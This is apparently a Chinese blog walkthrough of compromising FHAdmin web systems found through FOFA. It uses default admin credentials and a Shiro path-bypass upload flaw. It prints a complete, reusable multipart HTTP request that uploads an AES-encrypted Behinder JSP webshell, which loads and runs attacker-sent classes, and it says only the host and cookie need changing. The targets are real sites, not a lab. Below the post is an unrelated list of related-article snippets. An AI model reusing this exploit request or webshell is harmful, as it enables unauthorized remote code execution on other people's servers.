FHAdmin实战获取shell
又是一个愉快的摸鱼的一天,闲来无事去逛先知社区突然看到了一篇名为shrio权限实战绕过的文章(https://xz.aliyun.com/t/8311),这时不禁突然 回想起来之前看到过的一个微信公众号文章:那夜我做了个梦,差点我就相信了 !
于是便开启了新一轮的探索,我们可以去fofa去查找 intitle:FHAdmin,当然我之前是搜索过的所以在我打开搜索框输入 fh的一刹那便出现了我要的网站。
下面开始正式实战
这是我们的目标网站:

结合先知社区中看到的登录框图片:

真的是出人意料的相似啊,有木有.
当然在做这个实验的时候我们还是要先验证是否存在shiro漏洞的。
当然文章中说是额米有爆破出来密码的但是,我之前看过的微信文章之后是知道存在 管理员账号密码的 :admin/1

再记住密码的情况下

好家伙直接cookie明文传输密码。
OK,接下来就按照文章中的构造吧

发现上传成功,但是居然找不到文件。
于是接着看,文章中再上传点需要请求参数?uploadPath=/plugins/uploadify/
/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/
当然 在我在实验中还遇到了其他的问题,那就是光照猫画虎,没有注意到需要构造完整的文件上传包了,有点憨批了。
完整的如下截图:

POST /;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1873137538776189788600609431
Content-Length: 772
Connection: close
Cookie: JSESSIONID=587CDE2437A0AE2C40FB25DE5D71339C
Upgrade-Insecure-Requests: 1
DNT: 1
X-Forwarded-For: 127.0.0.1
-----------------------------1873137538776189788600609431
Content-Disposition: form-data; name="imgFile"; filename="shell.jsp"
Content-Type: application/octet-stream
AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb
-----------------------------1873137538776189788600609431
【其他类似的情况下只需要修改 host以及cookie就可以了】,这里我用的冰蝎,走起直接上传webshell。
FHAdmin实战获取shell的更多相关文章
- linux c程序中获取shell脚本输出的实现方法
linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...
- Python学习总结10:获取shell输出结果
Python中获取shell命令的输出结果的常见方法如下几种: 1. import subprocess output = subprocess.Popen(['ls','-l'],stdout=su ...
- linux 获取shell内置命令帮助信息 help xx
shell,命令解释器 shell内置命令有cd/umask/pwd等 help shell内置命令适用于所有用户获取shell内置命令的帮助信息help umaskhelp if
- 怎样获取shell函数的返回值及shell命令的返回值?
1.获取shell函数调用的返回值: #!/bin/sh info() { cat jlb.sh } res=`info` echo "state: "$? echo " ...
- python获取shell输出(转)
From:http://www.cnblogs.com/snow-backup/p/5035792.html python中获取shell命令输出的方法: 1. import subproces ...
- 登陆获取shell时的配置文件加载过程
最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...
- c获取shell中的参数
问题背景 在Linux中我们会使用到shell,来完成输入参数的获取,就如同下面的形式,这种形式在进行多语言编程和调用有着非常重要的作用 一.传递的过程 1.1 原理模型如下: 1.1.1 可执行sh ...
- shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)
shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查) Shell脚本与MySQL数据库交互(增删改查) # 环境准备:安装mariadb 数据库 [ro ...
- jenkins pipeline中获取shell命令的标准输出或者状态
//获取标准输出//第一种 result = sh returnStdout: true ,script: "<shell command>" result = res ...
- 获取Shell后的操作
对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同. Windows 当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作 ...
随机推荐
- CF1548B Integers Have Friends
洛咕 题意: 给定 \(n\) 和一个长度为 \(n\) 的数组 \(a\),求一个最长的区间 \(\left[l,r\right]\),使得存在 \(m\geq 2\) 和 \(k\),对于所有 \ ...
- Ubuntu常用备查
Ubuntu的目录结构 / 根目录 /home 用户操作目录 /etc 配置文件存放 /boot 系统启动文件 /usr 非系统自带的软件安装目录 /bin./usr/bin 存放可执行二进制文件 / ...
- 裁员潮下,我月薪3W依旧坚挺
近几年来产品经理一直是求职市场中的香饽饽: 年薪20w起.没有专业限制.职业天花板高,甚至行业中一直流传着一句话:产品经理是CEO的学前班. 在各种光环的加持下,不少应届生或有转行打算的职场人都将目光 ...
- vvvvvvue
<!DOCTYPE html> <html> <head> <link rel="stylesheet" href="" ...
- stream 链式结构 求和
Double aDouble = Optional.ofNullable(wayfairMonthBill.getPaymentAmountDetailJson()) .filter(StringUt ...
- Wps调用dll操作Excel表格转PDF
起始原因:wps编辑创建的文档在microsoft office 中打开,会报内容存在异常是否恢复,因此wps文件被微软设定为破损文件,无法对原有文档进行操作运行,故在此使用wps对Excel进行操作 ...
- VisualStudio2015使用C#.NET开发IOS程序时进行真机测试的设置参考
VS2015+Xamarin使用C#.NET开发跨平台APP已经完全可行了,对了WP和UWP程序,都是MS的,一定没有问题. 而对于ANDROID则是直接可以在VS中进行开发.部署到模拟器和真机,非常 ...
- 4. 模板解析,生成render函数,渲染页面
解析模板,生成render函数,执行render函数,实现视图渲染 1.模板转化成ast语法树 2.ast语法树生成render函数 3.执行render函数生成虚拟dom 4.执行_update方法 ...
- PAT-basic-1024 科学计数法 java
一.题目 科学计数法是科学家用来表示很大或很小的数字的一种方便的方法,其满足正则表达式 [+-][1-9].[0-9]+E[+-][0-9]+,即数字的整数部分只有 1 位,小数部分至少有 1 位,该 ...
- 版图 shrink
先打开模拟部分的版图,然后在ciw 里面执行 dbCreateXFormPCell(geGetEditCellView() "libName") 然后在"libName& ...